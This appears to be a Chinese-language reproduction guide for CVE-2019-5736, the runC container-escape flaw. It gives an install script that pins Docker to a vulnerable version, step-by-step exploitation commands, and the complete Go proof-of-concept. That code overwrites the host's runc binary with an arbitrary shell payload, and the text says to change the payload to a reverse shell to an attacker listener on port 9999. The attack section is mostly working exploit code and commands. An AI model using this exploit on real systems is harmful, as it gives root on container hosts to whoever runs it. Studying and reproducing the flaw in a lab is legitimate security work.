Docker runC 漏洞导致容器逃逸 CVE-2019-5736¶
漏洞描述¶
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞，攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改 runc 的二进制文件，从而获取到宿主机的 root 执行权限。要利用此漏洞，需要在容器内拥有 root (uid 0)。
参考链接：
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
- https://github.com/Frichetten/CVE-2019-5736-PoC
漏洞影响¶
docker version <= 18.09.2
RunC version <= 1.0-rc6
环境搭建¶
ubuntu 18.04 使用以下脚本 install_docker_18.09.0.sh 安装 Docker 18.09.0：
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 18.09.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 18.09.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
echo "[*] Docker 18.09.0 not found"
exit 1
fi
echo "[*] Found version: $VERSION_STRING"
echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io --allow-downgrades
echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current version:"
docker --version
安装 runc：
wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
sudo install -m 755 runc.amd64 /usr/local/sbin/runc
漏洞复现¶
注意，以下操作将覆盖 runc ，这会导致您的系统无法再运行 Docker 容器。请在虚拟环境中操作。
通过 该项目 ，我们将用 #!/proc/self/exe 覆盖容器中的 /bin/sh ，写入恶意命令。如果容器使用 runc 启动，/proc/self/exe 实际指向的就是容器运行时使用的 runc 二进制文件。那么，当在容器内执行 /bin/sh 时，将尝试修改 /proc/self/exe 的目标文件，即主机上的 runc 二进制文件。
将 payload 修改为执行反弹 shell，编译：
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
新建一个容器，将编译好的 main 传入容器：
sudo docker run -itd --name=5736 ubuntu bash
docker cp ./main 5736:/
执行 main，覆盖 /bin/sh：
docker exec -it 5736 /bin/bash
root@a9b857df4cc6:/# ./main
[+] Overwritten /bin/sh successfully
重新打开一个窗口，执行 /bin/sh，获取文件句柄，写入恶意命令：
docker exec -it 5736 /bin/sh
No help topic for '/bin/sh'
查看之前的窗口，此时已经执行成功：
退出当前容器，重新进入，触发恶意命令：
docker exec -it 5736 /bin/bash
攻击机监听 9999 端口：
漏洞 POC¶
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}